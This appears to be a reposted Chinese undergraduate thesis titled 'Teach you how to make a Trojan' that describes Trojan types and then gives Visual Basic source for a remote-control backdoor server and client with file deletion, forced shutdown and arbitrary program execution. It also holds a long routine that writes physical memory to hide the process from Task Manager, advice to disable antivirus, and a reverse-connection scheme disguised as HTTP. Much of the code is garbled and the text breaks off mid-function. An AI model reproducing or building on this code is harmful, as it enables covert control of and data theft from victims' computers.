教你如何做木马

更新时间:2023-08-10 01:51:01 阅读量: 工程科技 文档下载

说明:文章内容仅供预览,部分内容可能不全。下载后的文档,内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的,是否完整无缺。

主要是讲解木马的危险和系统安全

单 位 信管09-1班

学 号 09201141

江西农业大学南昌商学院本科毕业论文

(信息管理与信息系统)

教你如何做木马

姓 名 龚辉

专 业 信息管理与信息系统

指导教师 袁黎晖

江西农业大学南昌商学院

二0一二年十月

主要是讲解木马的危险和系统安全

论文独创性声明

本人声明,所呈交的学位论文系在导师指导下独立完成的研究成果。文中合法应用

他人的成果,均已做出明确标注或得到许可。论文内容未包含法律意义上已属于他人的

任何形式的研究成果,也不包含本人已用于其他学位申请的论文或成果。

本文如违反上述声明,愿意承担以下责任后后果:

1.交回学校授予的学士学位;

2.学校可在相关媒体上对本人的行为进行通报;

3.本文按照学校规定的方式,对因不当取得学位给学校造成的名誉损害,进行公

开道歉;

4.本人负责因论文成果不实产生的法律纠纷。

论文作者签名: 日期: 2012年 10 月 1 日

主要是讲解木马的危险和系统安全

摘 要

大家好,本毕业论文只是在一边教你做木马的时候,一边讲述些本人对于木马的一

些认识,有些来自网上,有些是自己的理解,木马并不一定是危险的,也并不全是害人

的,事物都有两面性,用的好木马也能给你提供很多帮助。

【关键词】木马,冰河,病毒,工具,隐藏

主要是讲解木马的危险和系统安全

Abstract

Hello everyone, this thesis only in the side to teach you to do a Trojan, as she told the story of the Trojan horse some I some understanding, some from the Internet, some are their own

understanding, trojan is not necessarily dangerous, also is not all bad, everything has two sides,

with a good horse can also give you help a lot

【Key Words】Trojan horse, ice, tools, hide

主要是讲解木马的危险和系统安全

目录

错误!未找到引用源。

主要是讲解木马的危险和系统安全

绪 论

随着网络的日益发张,网络安全也越发重要,而越来越多的网络安全事件的发生也

越来越来,木马、病毒越来越多。由于很多人对于木马和病毒并不了解,所以电脑碰到

一些简单的问题时,“木马”程序是目前比较流行的病毒文件,与一般的病毒不同,它不会自我繁殖,

也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被

种者电脑的门户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种者的电脑。“木马”

与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此

通常不具有隐蔽性;“木马”则完全相反,木马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽

性的话,那就是“毫无价值”的。

主要是讲解木马的危险和系统安全

1 木马的由来

1木马的由来 首先可能你在网上曾经听到过木马,当然倒霉的话,也许也中过木马,但你可

能还是不曾了解木马这个词的由来,木马这个词的来源:记得历史上特洛伊木马的故事吗?希腊人围困特洛伊城长达九年的时间。然后在某一天早上,他们似乎是退却了。希腊人站在城墙上望去,看到的不是希腊军队,而是一件礼物——一匹巨大的木马。由于

马是特洛伊人的圣物,所以他们费力地将木马拖入城内,没有发现隐藏在其中的希腊士兵。希腊人进入特洛伊城后,耐心地等待黄昏的来临,然后钻出马外。他们杀死了看守城门的士兵,并打开了城门。最后,特洛伊城陷落了,这正是一句著名谚语“当心希腊

人的礼物”的由来。“木马”程序是目前比较流行的病毒文件,与一般的病毒不同,它不

会自我繁殖,也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,

向施种木马者提供打开被种者电脑的门户,使施种者可以任意毁坏、窃取被种者的文件,

甚至远程操控被种者的电脑。希望本论文能给你认识木马和防范木马带来帮助。

主要是讲解木马的危险和系统安全

2 木马的制作工具

2木马的制作工具

既然你已经知道了木马的由来,那么我们也可以开始动手制作木马了,工欲成其事

必先利其器,所以我们需要一款软件来制作我们的木马 说说国产木马工具,冰河——你不得不了解的工具。

(说到冰河,也许在2005年的今天显得很落后,但冰河创造了一个时代,一个人人能

做黑客的时代。使用方便简单,人人都能上手。图形界面,中文菜单,了解木马,先从

了解远程控制软件冰河开始。

(使用冰河前,请注意:如果你的机器有杀毒软件,可能会出现病毒提示。说实话,他

还真是一个病毒。呵呵。所以在使用前,请慎重考虑,出了问题,小编可担当不起。建

议使用不管是客户端还是服务端都请关闭杀毒软件以达到更好的使用效果。)

软件功能概述:

该软件主要用于远程监控,具体功能包括:

1.自动跟踪目标机屏幕变化,同时可以完全模拟键盘及鼠标输入,即在同步被控端屏幕

变化的同时,监控端的一切键盘及鼠标操作将反映在被控端屏幕(局域网适用);

2.记录各种口令信息:包括开机口令、屏保口令、各种共享资源口令及绝大多数在对

话框中出现过的口令信息,且1.2以上的版本中允许用户对该功能自行扩充,2.0以上

版本还同时提供了击键记录功能;

3.获取系统信息:包括计算机名、注册公司、当前用户、系统路径、操作系统版本、

当前显示分辨率、物理及逻辑磁盘信息等多项系统数据;

4.限制系统功能:包括远程关机、远程重启计算机、锁定鼠标、锁定系统热键及锁定

注册表等多项功能限制;

5.远程文件操作:包括创建、上传、下载、复制、删除文件或目录、文件压缩、快速

浏览文本文件、远程打开文件(提供了四中不同的打开方式——正常方式、最大化、最

小化和隐藏方式)等多项文件操作功能;

6.注册表操作:包括对主键的浏览、增删、复制、重命名和对键值的读写等所有注册

主要是讲解木马的危险和系统安全

表操作功能;

7.发送信息:以四种常用图标向被控端发送简短信息;

8.点对点通讯:以聊天室形式同被控端进行在线交谈。

用开发工具有C++Builder、VC、VB和Delphi

当然我们不可能使用冰河来制作我们第一个木马,那样虽然简单,但我们无法从内

在中看到木马的原理,所以我们的第一个木马是VB来实现。

3木马的种类

马的种类 3木

自木马程序诞生至今,己经出现了多种类型,想在这里给它们来一次完全的列举和说明

是不可能的,更何况大多数的木马都不是单一功能的木马,它们往往是很多种功能的集

成品----甚至有很多从本公开的功能在一些木马中也广泛地存在着。尽管如此,给木马

程序来一个初步的分类。对于电脑使用者来说也是非常必要和及时的。

1.远程控制木马

远程控制木马是数量最多,危害最大,同时知名度也最高的一种木马,它可以让攻击者

完全控制被感染的计算机,攻击者可以利用它完成一些甚至连计算机主人本身都不能顺利进行的操作,其危害之大实在不容小觑。由于要达到远程控制的目的,所以,该种类

的木马往往集成了其他种类木马的功能。使其在被感染的机器上为所欲为,可以任意访问文件,得到机主的私人信息甚至包括信用卡,银行账号等至关重要的信息。

大名鼎鼎的木马冰河就是一个远程访问型特洛伊木马。这类木马用起来是非常简单的。

只需有人运行服务端并且得到了受害人的IP。就会访问到他/她的电脑。他们能在你的

机器上干任何事。远程访问型木马的普遍特征是:键盘记录,上传和下载功能,注册表

操作,限制系统功能 等。远程访问型特洛伊木马会在你的电脑上打开一个端口以保

持连接.

2.密码发送木马

在信息安全日益重要的今天。密码无疑是通向重要信息的一把极其有用的钥匙,只要掌

握了对方的密码,从很大程度上说。就可以无所顾忌地得到对方的很多信息。而密码发

送型的木马正是专门为了盗取被感染计算机上的密码而编写的,木马一旦被执行,就会

自动搜索内存,Cache,临时文件夹以及各种敏感密码文件,一旦搜索到有用的密码,

木马就会利用免费的电子邮件服务将密码发送到指定的邮箱。从而达到获取密码的目

的,所以这类木马大多使用25号端口发送E-mail。大多数这类的特洛伊木马不会在每

次Windows重启时重启。这种特洛伊木马的目的是找到所有的隐藏密码并且在受害者不

知道的情况下把它们发送到指定的信箱,如果体育隐藏密码,这些特洛伊木马是危险

由于我们需要获得的密码多种多样,存放形式也大不相同,所以,很多时候我们需要自

己编写程序,从而得到符合自己要求的木马。

主要是讲解木马的危险和系统安全

3.键盘记录木马

这种特洛伊木马是非常简单的。它们只做一件事情,就是记录受害者的键盘敲击并且在

LOG文件里查找密码。据笔者经验,这种特洛伊木马随着Windows的启动而启动。它们

有在线和离线记录这样的选项,顾名思义,它们分别记录你在线和离线状态下敲击键盘

时的按键情况。也就是说你按过什么按键,下木马的人都知道,从这些按键中他很容易

就会得到你的密码等有用信息,甚至是你的信用卡账号哦!当然,对于这种类型的木马,邮件发送功能也是必不可少的。

4.破坏性质的木马

这种木马惟一的功能就是破坏被感染计算机的文件系统,使其遭受系统崩溃或者重要数据丢失的巨大损失。从这一点上来说,它和病毒很相像。不过,一般来说,这种木马的

激活是由攻击者控制的,并且传播能力也比病毒逊色很多。 5.DoS攻击木马

随着DoS攻击越来越广泛的应用,被用作DoS攻击的木马也越来越流行起来。当你入侵了一台机器,给他种上DoS攻击木马,那么日后这台计算机就成为你DoS攻击的最得力

助手了。你控制的肉鸡数量越多,你发动DoS攻击取得成功的机率就越大。所以,这种

木马的危害不是体现在被感染计算机上,而是体现在攻击者可以利用它来攻击一台又一

台计算机,给网络造成很大的伤害和带来损失。

还有一种类似DoS的木马叫做邮件炸弹木马,一旦机器被感染,木马就会随机生成各种

各样主题的信件,对特定的邮箱不停地发送邮件,一直到对方瘫痪、不能接受邮件为止

6.代理木马

黑客在入侵的同时掩盖自己的足迹,谨防别人发现自己的身份是非常重要的,因此,给

被控制的肉鸡种上代理木马,让其变成攻击者发动攻击的跳板就是代理木马最重要的任

务。通过代理木马,攻击者可以在匿名的情况下使用Telnet,ICQ,IRC等程序,从而隐

蔽自己的踪迹。

7.FTP木马

这种木马可能是最简单和古老的木马了,它的惟一功能就是打开21端口,等待用户连

接。现在新FTP木马还加上了密码功能,这样,只有攻击者本人才知道正确的密码,从

而进人对方计算机。

8.程序杀手木马

上面的木马功能虽然形形色色,不过到了对方机器上要发挥自己的作用,还要过防木马

软件这一关才行。常见的防木马软件有ZoneAlarm,Norton Anti-Virus等。程序杀手木

马的功能就是关闭对方机器上运行的这类程序,让其他的木马更好地发挥作用。在

http:/www.snake-basket.de/e/AV.txt这个地址,你能找到现在流行使用的绝大多数防

病毒和防木马软件的名称、介绍以及结束它们的方法。

9.反弹端口型木马

木马是木马开发者在分析了防火墙的特性后发现:防火墙对于连入的链接往往会进行非

常严格的过滤,但是对于连出的链接却疏于防范。于是,与一般的木马相反,反弹端口

主要是讲解木马的危险和系统安全

型木马的服务端 (被控制端)使用主动端口,客户端 (控制端)使用被动端口。木马定时

监测控制端的存在,发现控制端上线立即弹出端口主动连结控制端打开的主动端口;为了隐蔽起见,控制端的被动端口一般开在80,这样,即使用户使用端口扫描软件检查自

己的端口,发现的也是类似TCP UserIP:1026 ControllerIP:80ESTABLISHED的情

况,稍微疏忽一点,你就会以为是自己在浏览网页 (防火墙也会这么认为,我想大概没

有哪个防火墙会不让用户向外连接80端口吧)。

看到这里,有人会问:那服务端怎么能知道控制端的IP地址呢?难道控制端只能使用固

定的IP地址?一查就查到了。实际上,这种反弹端口的木马常常会采用固定IP的第三

方存储设备来进行IP地址的传递。举一个简单的例子:事先约定好一个个人主页的空间,

在其中放置一个文本文件,木马每分钟去GET一次这个文件,如果文件内容为空,就什

么都不做,如果有内容,就按照文本文件中的数据计算出控制端的IP和端口,反弹一

个TCP链接回去,这样,每次控制者上线只需要FTP一个INI文件,就可以告诉木马自

己的位置。为了保险起见。这个IP地址甚至可以经过一定的加密,除了服务和控制端。

其他的人就算拿到了也没有任何意义。对于一些能够分析报文、过滤TCP/UDP的防火墙,

反弹端口型木马同样有办法对付。简单来说。控制端使用80端口的木马完全可以真的

使用HTTP协议,将传送的数据包含在HTTP的报文中,难道防火墙真的精明到可以分辨

通过HTTP协议传送的究竟是网页,还是控制命令和数据?

4第一个木马

4第一个木马

现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的C/S结构,目

前也有一些开始向B/S结构转变,在这里暂且不对B/S结构进行详谈,本论文主要介绍

C/S结构其原理就是在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能

够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客

户程序直接控制它了。下面来谈谈如何用VB来实现它。

我们第一个木马为远程控制木马。

首先使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。

在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选

择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按

钮,按下之后就可以对连接进行初始化了,代码如下:

Private Sub cmdConnect_Click()

If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then

MsgBox ("请输入主机名或主机IP地址。")

Exit Sub

主要是讲解木马的危险和系统安全

Else

If Len(Text1.Text) > 0 Then

tcpClient.RemoteHost = Text1.Text

Else

tcpClient.RemoteHost = Text2.Text

End If

End If

tcpClient.Connect

Timer1.Enabled = True

End Sub

连接建立之后就可以使用DataArrival事件处理所收到的数据了。

在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,

协议选择TCP,在Form_Load事件中加入如下代码:

Private Sub Form_Load()

tcpServer.LocalPort = 1999

tcpServer.Listen

End Sub

准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程

序的请求,代码如下:

Private Sub tcpServer_ConnectionRequest

(ByVal requestID As Long)

If tcpServer.State < > sckClosed Then

主要是讲解木马的危险和系统安全

tcpServer.Close‘检查控件的 State 属性是否为关闭的。

End If '如果不是,在接受新的连接之前先关闭此连接。

tcpServer.Accept requestID

End Sub

这样在客户端程序按下了连接按钮后,服务器端程序的

ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来

了。

建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指

令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客

户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制

关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来

的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取

目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端

窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟

键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端

屏幕上显示消息。DataArrival事件程序如下:

Private Sub tcpServer_DataArrival

(ByVal bytesTotal As Long)

Dim strData As String

Dim i As Long

Dim mKey As String

tcpServer.GetData strData

'接收数据并存入strData

For i = 1 To Len(strData)

主要是讲解木马的危险和系统安全

'分离strData中的命令

If Mid(strData, i, 1) = "@" Then

mKey = Left(strData, i - 1)

'把命令ID号存入mKey

'把命令参数存入strData

strData = Right(strData, Len(strData) - i)

Exit For

End If

Next i

Select Case Val(mKey)

Case 1

‘驱动器名、目录名、文件名

Case 2

强制关闭服务器端的计算机

Case 3

强制重启服务器端的计算机

Case 4

屏蔽任务栏窗口;

主要是讲解木马的危险和系统安全

Case 5

屏蔽开始菜单;

Case 6

按照客户机端传过来的文件名或目录名,而删除它;

Case 7

屏蔽热启动键;

Case 8

运行服务器端的任何程序

End Select

End Sub

客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用

符号“@”隔开。

另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事

件,来继续准备接收客户机端的请求,其代码如下:

Private Sub tcpServer_Close()

tcpServer.Close

tcpServer.Listen

End Sub

这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,

那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的

聪明才智了.

成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传

播等问题要解决,,我们下面将要提到。警告:千万不要用来破坏别人的系统。

5木马的隐藏方式

主要是讲解木马的危险和系统安全

5木马的隐藏方式

为了使木马不被别人发现,我们需要将我们的木马隐藏起来,隐藏原理大多一样,

大多数木马程序的基本原理都是一样的,他们是由两个程序配合使用——被安装在入侵

系统内的Server程序;另一个是对Server其控制作用的Client程序。学习者已经了

解了木马和病毒的区别,大多数Server程序不会像病毒一样主动传播,而是潜伏在一

些合法程序内部,然后由目标操作者亲手将其安装到系统中,虽然这一切都是没有经过

目标操作者授权的,然而从某种程度上说,这的确是在经过诱惑后目标“心甘情愿”接

收木马的,当Server安装成功后,黑客就可以通过Client控制程序对Server端进行

各种操作了。

木马程序的Server端为了隐藏自己,必须在设计中做到不让自己显示到任务栏或者系

统进程控制器中,同时还不会影响其他程序的正常运行,当使用者电脑处于断线状态下,

Server段不会发送任何信息到预设的端口上,而会自动检测网络状态直到网络连接好,

Server会通过email或者其他形式将Server端系统资料通知Client端,同时接收

Client发送出来的请求。

1.在任务栏里隐藏 这是最基本的隐藏方式。如果在windows的任务栏里出现一个莫名其妙的图标,傻子都

会明白是怎么回事。要实现在任务栏中隐藏在编程时是很容易实现的。我们以VB为例。

在VB中,只要把from的Visible属性设置为False,ShowInTaskBar设为False程序就

不会出现在任务栏里了。

2.在任务管理器里隐藏

查看正在运行的进程最简单的方法就是按下Ctrl+Alt+Del时出现的任务管理器。如果

你按下Ctrl+Alt+Del后可以看见一个木马程序在运行,那么这肯定不是什么好木马。

所以,木马会千方百计地伪装自己,使自己不出现在任务管理器里。木马发现把自己设

为 "系统服务“就可以轻松地骗过去。在VB中,通过如下的代码就可以实现这一功能:

Private Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004

Private Const STATUS_ACCESS_DENIED = &HC0000022

Private Const STATUS_INVALID_HANDLE = &HC0000008

Private Const ERROR_SUCCESS = 0&

Private Const SECTION_MAP_WRITE = &H2

Private Const SECTION_MAP_READ = &H4

Private Const READ_CONTROL = &H20000

Private Const WRITE_DAC = &H40000

Private Const NO_INHERITANCE = 0

Private Const DACL_SECURITY_INFORMATION = &H4

Private Type IO_STATUS_BLOCK

主要是讲解木马的危险和系统安全

Status As Long

Information As Long End Type

Private Type UNICODE_STRING

Length As Integer

MaximumLength As Integer

Buffer As Long End Type

Private Const OBJ_INHERIT = &H2

Private Const OBJ_PERMANENT = &H10

Private Const OBJ_EXCLUSIVE = &H20

Private Const OBJ_CASE_INSENSITIVE = &H40

Private Const OBJ_OPENIF = &H80

Private Const OBJ_OPENLINK = &H100

Private Const OBJ_KERNEL_HANDLE = &H200

Private Const OBJ_VALID_ATTRIBUTES = &H3F2

Private Type OBJECT_ATTRIBUTES

Length As Long

RootDirectory As Long

ObjectName As Long

Attributes As Long

SecurityDescriptor As Long

SecurityQualityOfService As Long End Type Private Type ACL

AclRevision As Byte

Sbz1 As Byte

AclSize As Integer

AceCount As Integer

Sbz2 As Integer End Type Private Enum ACCESS_MODE

NOT_USED_ACCESS

GRANT_ACCESS

SET_ACCESS

DENY_ACCESS

REVOKE_ACCESS

SET_AUDIT_SUCCESS

SET_AUDIT_FAILURE End

Enum Private

Enum

MULTIPLE_TRUSTEE_OPERATION NO_MULTIPLE_TRUSTEE TRUSTEE_IS_IMPERSONATE

End

Enum

Private Enum TRUSTEE_FORM TRUSTEE_IS_SID TRUSTEE_IS_NAME End Enum

Private

主要是讲解木马的危险和系统安全

Enum

TRUSTEE_TYPE TRUSTEE_IS_UNKNOWN TRUSTEE_IS_USER TRUSTEE_IS_GROUP End

Enum Private Type TRUSTEE pMultipleTrustee

As Long MultipleTrusteeOperation

As MULTIPLE_TRUSTEE_OPERATION TrusteeForm

As TRUSTEE_FORM TrusteeType

As TRUSTEE_TYPE ptstrName

As String End Type Private Type EXPLICIT_ACCESS grfAccessPermissions

As Long grfAccessMode

As ACCESS_MODE grfInheritance

As Long TRUSTEE

As TRUSTEE End Type

Private Type AceArray List() As EXPLICIT_ACCESS End Type Private Enum

SE_OBJECT_TYPE SE_UNKNOWN_OBJECT_TYPE = 0

SE_FILE_OBJECT

SE_SERVICE

SE_PRINTER

SE_REGISTRY_KEY

SE_LMSHARE

SE_KERNEL_OBJECT

SE_WINDOW_OBJECT

SE_DS_OBJECT

SE_DS_OBJECT_ALL

SE_PROVIDER_DEFINED_OBJECT

SE_WMIGUID_OBJECT End Enum

Private Declare Function SetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType

As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl

As Any, ppSacl As Any) As Long

Private Declare Function GetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType

As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl

As Any,

ppSacl As Any, ppSecurityDescriptor As Long) As Long Private Declare Function SetEntriesInAcl Lib "advapi32.dll" Alias "SetEntriesInAclA" (ByVal

cCountOfExplicitEntries As Long, pListOfExplicitEntries As EXPLICIT_ACCESS, ByVal OldAcl As

Long, NewAcl As Long) As Long

Private Declare Sub BuildExplicitAccessWithName Lib "advapi32.dll" Alias

"BuildExplicitAccessWithNameA" (pExplicitAccess As EXPLICIT_ACCESS, ByVal pTrusteeName As

String, ByVal AccessPermissions As Long, ByVal AccessMode As ACCESS_MODE, ByVal Inheritance As

Long)

Private Declare Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString As UNICODE_STRING,

ByVal SourceString As Long)

主要是讲解木马的危险和系统安全

Private Declare Function ZwOpenSection Lib "NTDLL.DLL" (SectionHandle As Long, ByVal DesiredAccess As Long, ObjectAttributes As Any) As Long

Private Declare Function LocalFree Lib "kernel32" (ByVal hMem As Any) As Long

Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Declare Function MapViewOfFile Lib "kernel32" (ByVal hFileMappingObject As Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long

Private Declare Function UnmapViewOfFile Lib "kernel32" (lpBaseAddress As Any) As Long

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

Private g_hNtDLL As Long

Private g_pMapPhysicalMemory As Long

Private g_hMPM As Long Dim aByte(3) As Byte

Private Type OSVERSIONINFO

dwOSVersionInfoSize As Long

dwMajorVersion As Long

dwMinorVersion As Long

dwBuildNumber As Long

dwPlatformId As Long

szCSDVersion As String * 128 End Type Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (LpVersionInformation As OSVERSIONINFO) As Long Dim verinfo As OSVERSIONINFO

Private Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long) Dim pDacl As Long

Dim pNewDacl As Long Dim pSD As Long

Dim dwRes As Long Dim ea As EXPLICIT_ACCESS GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSD ea.grfAccessPermissions = SECTION_MAP_WRITE

ea.grfAccessMode = GRANT_ACCESS

ea.grfInheritance = NO_INHERITANCE

ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME

ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER

ea.TRUSTEE.ptstrName = "CURRENT_USER" & vbNullChar

SetEntriesInAcl 1, ea, pDacl, pNewDacl

SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0 CleanUp:

LocalFree pSD

LocalFree pNewDacl End Sub Private Function OpenPhysicalMemory() As Long

Dim Status As Long Dim PhysmemString As UNICODE_STRING

Dim Attributes As OBJECT_ATTRIBUTES

RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory")

Attributes.Length = Len(Attributes)

主要是讲解木马的危险和系统安全

Attributes.RootDirectory = 0

Attributes.ObjectName = VarPtr(PhysmemString)

Attributes.Attributes = 0

Attributes.SecurityDescriptor = 0

Attributes.SecurityQualityOfService = 0

Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes) If Status = STATUS_ACCESS_DENIED Then

Status = ZwOpenSection(g_hMPM,

READ_CONTROL Or WRITE_DAC, Attributes)

SetPhyscialMemorySectionCanBeWrited g_hMPM

CloseHandle g_hMPM

Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes) End If

Dim lDirectoty As Long

verinfo.dwOSVersionInfoSize = Len(verinfo)

If (GetVersionEx(verinfo)) <> 0 Then

If verinfo.dwPlatformId = 2 Then

If verinfo.dwMajorVersion = 5 Then

Select Case verinfo.dwMinorVersion

Case 0

lDirectoty = &H30000

Case 1

lDirectoty = &H39000

End Select

End If

End If

End If If Status = 0 Then

g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, &H1000)

If g_pMapPhysicalMemory <> 0 Then OpenPhysicalMemory = g_hMPM

End If End Function

Private Function LinearToPhys(BaseAddress As Long, addr As Long) As Long

Dim VAddr As Long, PGDE As Long, PTE As Long, PAddr As Long

Dim lTemp As Long

VAddr = addr

CopyMemory aByte(0), VAddr, 4

lTemp = Fix(ByteArrToLong(aByte) / (2 ^ 22))

PGDE = BaseAddress + lTemp * 4

CopyMemory PGDE, ByVal PGDE, 4 If (PGDE And 1) <> 0 Then

lTemp = PGDE And &H80

If lTemp <> 0 Then

PAddr = (PGDE And &HFFC00000) + (VAddr And &H3FFFFF)

Else

主要是讲解木马的危险和系统安全

PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE And &HFFFFF000, &H1000)

lTemp = (VAddr And &H3FF000) / (2 ^ 12)

PTE = PGDE + lTemp * 4

CopyMemory PTE, ByVal PTE, 4

If (PTE And 1) <> 0 Then

PAddr = (PTE And &HFFFFF000) + (VAddr And &HFFF)

UnmapViewOfFile PGDE

End If End If End If

LinearToPhys = PAddr End Function

Private Function GetData(addr As Long) As Long

Dim phys As Long, tmp As Long, ret As Long

phys = LinearToPhys(g_pMapPhysicalMemory, addr)

tmp = MapViewOfFile(g_hMPM, 4, 0, phys And &HFFFFF000, &H1000)

If tmp <> 0 Then

ret = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4

CopyMemory ret, ByVal ret, 4

UnmapViewOfFile tmp

GetData = ret End If End Function

Private Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean

Dim phys As Long, tmp As Long, x As Long

phys = LinearToPhys(g_pMapPhysicalMemory, addr)

tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys And &HFFFFF000, &H1000) If tmp <> 0 Then

x = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4

CopyMemory ByVal x, data, 4

UnmapViewOfFile tmp

SetData = True End If End Function Private Function ByteArrToLong(inByte() As Byte) As Double

Dim I As Integer

For I = 0 To 3

ByteArrToLong = ByteArrToLong + inByte(I) * (&H100 ^ I)

Next I End Function Private Sub Command1_Click()

Dim thread As Long, process As Long, fw As Long, bw As Long

Dim strInfo As String Dim lOffsetFlink As Long

Dim lOffsetBlink As Long

Dim lOffsetPID As Long

verinfo.dwOSVersionInfoSize = Len(verinfo)

If (GetVersionEx(verinfo)) <> 0 Then

If verinfo.dwPlatformId = 2 Then

If verinfo.dwMajorVersion = 5 Then

Select Case verinfo.dwMinorVersion

Case 0

本文来源:https://www.bwwdw.com/article/l4lj.html

Top